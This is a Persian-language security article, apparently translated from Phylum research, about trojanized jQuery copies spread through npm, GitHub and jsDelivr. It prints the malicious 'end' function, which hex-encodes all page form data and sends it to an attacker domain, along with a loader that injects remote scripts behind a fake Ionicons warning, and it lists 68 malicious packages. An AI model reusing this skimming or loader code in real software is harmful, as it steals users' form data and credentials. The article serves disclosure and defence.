Phylum از 26 می 2024، یک حمله زنجیره تامین که شامل نسخههای تروجانیزه شده پکیجهای jQuery است را شناسایی کرده است. این نسخههای تروجانیزه شده در انواع پکیجهای npm، GitHub و jsDelivr مشاهده شدهاند.
مهاجم به طور هوشمندانه، بدافزار را در تابع “end” این کتابخانه جاوااسکریپت (jQuery) که به ندرت مورد استفاده قرار میگیرد، پنهان کرده است. تابع end به صورت داخلی توسط تابع محبوب “fadeTo” فراخوانی میشود.
در واقع برای اینکه بدافزار راه اندازی شود، کاربر باید یکی از پکیجهای مخرب را نصب کند، از فایل jQuery تروجانیزه شده استفاده نماید و سپس تابع end و یا تابع fadeTo فراخوانی شود. نسخه مخرب، دادههای فرم وب سایت را استخراج میکند و آن را به یکی از URLهای متعدد در نظر گرفته شده، ارسال خواهد کرد.
این حمله به دلیل تنوع زیاد پکیجها، حائز اهمیت میباشد. پکیجهای منتشر شده نسبتاً کم هستند اما این حمله حداقل یک نسخه کامل از jQuery که اغلب jquery.min.js نامیده میشود، همراه با سایر تغییرات مانند register.min.js، icon.min.js، و fontawesome.js را شامل میگردد.
68 پکیج تاکنون در ارتباط با این حمله زنجیره تامین شناسایی شدهاند. این پکیجهای مخرب از 26 می تا 23 ژوئن 2024 در رجیستری npm با استفاده از نامهایی مانند cdnjquery، footersicons، jquertyi، jqueryxxx، logoo و sytlesheets منتشر شدهاند.
URL نهایی برای هر پکیج، تقریباً منحصر به فرد میباشد و مهاجم آنها را با نامهای کاربری جدید در npm منتشر کرده است.
تروجانیزه کردن پکیجهای jQuery
بیایید نگاهی دقیقتر به نحوه تروجانیزه کردن پکیجهای jQuery توسط مهاجم بیندازیم. همانطور که در بالا ذکر شد، هر پکیج حاوی یک کپی از jQuery همراه با یک تفاوت کوچک است که تابع «end» میباشد و بدافزار در این تابع پنهان شده است.
end: async function () {
await $.ajax({
url: "[.]truex[.]biz[.]id/halo/?cat=" + (function (e) {
for (var t, n = 0, r = e.length, i = ""; n < r; ++n)
i += (t = e.charCodeAt(n).toString(16)).length < 2 ? "0" + t : t;
return i;
})($("form").serialize()),
type: "GET",
dataType: "text",
headers: { "Content-type": "application/json" },
});
}
در کد منبع قانونی jQuery، کد زیر برای متد end مورد استفاده قرار میگرد:
end: function () {
return this.prevObject || this.constructor();
}
همانطور که از کد بالا مشاهده میشود، این کد به سادگی آبجکت قبلی را باز میگرداند. با این حال، مهاجم در کد مخرب، یک درخواست GET غیرمسدود کننده را از طریق $.ajax به یک URL راه دور ارسال میکند.
URL شامل یک پارامتر کوئری است (نام آن در پکیجهای مختلف، متفاوت است) که با دنباله سازی تمام دادههای فرم در صفحه (($(“form”).serialize())) ساخته میشود. سپس دادههای دنباله سازی شده در یک رشته هگز رمزگذاری میشوند.
این بدان معناست که چنانچه از این نسخه تروجانیزه شده استفاده شود، هر زمان که تابع end فراخوانی گردد، تمام دادههای فرم موجود در صفحه استخراج خواهد شد.
متد fadeTo در jQuery از متد end استفاده میکند که بسیار جالب است، زیرا fadeTo به مراتب بیشتر از end استفاده میشود. در اینجا قطعه کد مربوط به fadeTo ارائه شده است:
fadeTo: function (e, t, n, r) {
return this.filter(ae)
.css("opacity", 0)
.show()
.end()
.animate({ opacity: t }, e, n, r);
}
توزیع و انتشار نسخه تروجانیزه شده پکیجهای jQuery
Phylum در طول تحقیقات خود، کاربری به نام indexsc را در GitHub مشاهده کرد که چندین نسخه از فایل تروجانیزه شده پکیجهای jQuery را میزبانی میکند.
نگاهی به مخزن ajax:
slim.js و all-min.js، هر دو حاوی نسخه تروجانیزه شده پکیجهای jQuery میباشند:
جالب اینجاست که هم icons.js و هم min.js حاوی اسکریپتی هستند که تگهای اسکریپت جدید را از منابع راه دور اضافه میکنند:
!function (e) {
var t = ["[ionicons] Deprecated script, please remove: " + (s = e.scripts[e.scripts.length - 1]).outerHTML];
t.push("To improve performance it is recommended to set the differential scripts in the head as follows:");
var n = s.src.split("/");
n.pop();
n.push("ionicons");
var s;
n.join("/");
(s = e.createElement("script")).setAttribute("type", "module"), s.src = "",
t.push(s.outerHTML),
s.setAttribute("data-stencil-namespace", "ionicons"),
e.head.appendChild(s),
(s = e.createElement("script")).setAttribute("nomodule", ""),
s.src = "",
t.push(s.outerHTML),
s.setAttribute("data-stencil-namespace", "ionicons"),
e.head.appendChild(s),
console.warn(t.join("\\n"))
}(document),
function () {
var e = document.createElement("script");
e.type = "text/javascript";
e.src = "";
document.body.appendChild(e);
}();
این اسکریپت بسیار مشکوک است چرا که ابتدا یک هشدار ساختگی ایجاد میکند که نشان میدهد نسخه نصب شده Ionicons منسوخ شده است (بدون اینکه حتی بررسی کند نسخه فعلی چیست!) و سپس آن را با نسخه ۵.۰.۰ جایگزین میکند.
جالب است بدانید که نسخه ۵.۰.۰ در فوریه 2020 منتشر شده است در حالی که آخرین نسخه، ۷.۴.۰ میباشد و در ماه می 2024 منتشر شده است. اسکریپت پس از تحمیل کردن نسخه ۵.۰.۰ به کاربر، یک عنصر اسکریپت جدید به سند اضافه میکند و بدنه (body) و منبع (source) آن عنصر را بر روی https://cdn[.]jsdelivr[.]net/gh/indexsc/libs/slim.js تنظیم میکند.
این نیز بسیار مشکوک است و جای تعجب نیست که پیمایش در آنجا نشان میدهد که این نسخه نیز تروجانیزه شده میباشد:
شایان ذکر است که jsdelivr، این URLهای GitHub را به طور خودکار بدون نیاز به آپلود چیزی در CDN به طور صریح میسازد. این احتمالاً تلاشی از سوی مهاجم برای مشروع جلوه دادن منبع یا عبور از فایروال با استفاده از jsdelivr به جای بارگذاری مستقیم کد از خود GitHub است.
ما شاهد یک حمله زنجیره تامین پیچیده هستیم که شامل انتشار دهها پکیج تحت چندین حساب npm میباشد و هر کدام شامل یک نسخه تروجانیزه شده از jQuery هستند.
تعداد زیاد پکیجهای jQuery ، تنوع در قراردادهای نامگذاری و گنجاندن فایلهای شخصی در این بستهها، سؤالاتی را در مورد تواناییها و اهداف مهاجم ایجاد میکند. این عوامل به شدت با ماهیت پیچیدهتر خود بدافزار واقعی و تلاشی که برای پنهان کردن بدافزار انجام میشود، در تضاد است.
این حمله زنجیره تامین جدید نمونهای از پیچیدگی و پتانسیل رو به رشد برای دسترسی گسترده مهاجم است.
پکیجهای jQuery تروجانیزه شده مرتبط با حمله زنجیره تامین
تاریخ انتشار | نام | ورژن |
2024-06-23 | icnes | 8.0.0 |
2024-06-23 | stylesyosx | 9.0.3 |
2024-06-22 | imagegs | 1.0.0 |
2024-06-22 | yorz | 3.0.0 |
2024-06-21 | kurxjy | 9.0.0 |
2024-06-20 | kinthailxzz | 1.0.0 |
2024-06-19 | ganz | 2.0.1 |
2024-06-19 | kikos | 1.0.0 |
2024-06-17 | rgmedia | 3.7.2 |
2024-06-17 | rgmedia21 | 3.7.3 |
2024-06-17 | ngentot | 3.7.1 |
2024-06-17 | mediaa | 2.0.0 |
2024-06-16 | jquerrty | 3.0.0 |
2024-06-16 | styyle | 3.0.0 |
2024-06-16 | my-gh | 8.0.1 |
2024-06-16 | sytlesheets | 3.0.0 |
2024-06-16 | stylessheet | 3.0.0 |
2024-06-15 | styleshteks | 2.0.0 |
2024-06-15 | fontawessome | 9.0.1 |
2024-06-15 | fontawesom-1 | 9.0.1 |
2024-06-14 | nesiahanzz | 1.0.0 |
2024-06-14 | dsiailon | 1.0.0 |
2024-06-14 | footersicons | 3.0.0 |
2024-06-14 | footericonss | 3.6.0 |
2024-06-14 | footericonds | 3.7.1 |
2024-06-14 | fontawesome-3 | 2.0.0 |
2024-06-14 | fontawesom-4 | 2.0.0 |
2024-06-13 | jquertyi | 3.6.4 |
2024-06-13 | fontawesome-2 | 9.0.1 |
2024-06-13 | stylishteksz | 2.0.0 |
2024-06-13 | stylescss | 9.0.1 |
2024-06-12 | dsiain | 1.0.0 |
2024-06-11 | logoo | 2.0.0 |
2024-06-11 | stylishhteks | 2.0.1 |
2024-06-10 | imagezz | 1.0.0 |
2024-06-10 | stylishtekss | 3.0.0 |
2024-06-10 | stylesheeet | 9.0.1 |
2024-06-09 | dnuhstng | 2.0.0 |
2024-06-09 | stylishteks | 2.0.0 |
2024-06-09 | mobiletrack | 9.0.0 |
2024-06-09 | fontaway | 9.0.0 |
2024-06-08 | sttylee | 9.0.1 |
2024-06-06 | kontolq | 9.0.1 |
2024-06-06 | kimakq | 9.0.1 |
2024-06-05 | awokkdyaa | 9.0.1 |
2024-06-05 | vxcs | 9.0.1 |
2024-06-05 | kimakz | 9.0.1 |
2024-06-05 | xhyp | 9.0.1 |
2024-06-05 | xytta | 1.0.0 |
2024-06-05 | livinjs | 1.0.0 |
2024-06-04 | fontawesome-1 | 9.0.0 |
2024-06-04 | fontwesome | 9.0.0 |
2024-06-04 | footricon | 9.0.0 |
2024-06-04 | bootstrapcloud | 1.3.3 |
2024-06-04 | flammerxdjson | 9.0.1 |
2024-06-04 | ajexx | 9.0.0 |
2024-06-04 | komcay | 9.0.1 |
2024-06-04 | ajex | 9.0.1 |
2024-06-04 | komcaxx | 9.0.2 |
2024-06-04 | komcaxx | 9.0.1 |
2024-06-03 | komcax | 9.0.0 |
2024-06-03 | cloudhosting | 7.13.0 |
2024-06-02 | cloudhost | 7.13.0 |
2024-06-02 | bootrun | 3.9.7 |
2024-06-02 | xxxtesting | 1.2.0 |
2024-06-02 | bootstar | 9.4.8 |
2024-06-02 | jqueryxxx | 1.0.0 |
2024-05-26 | cdnjquery | 9.0.1 |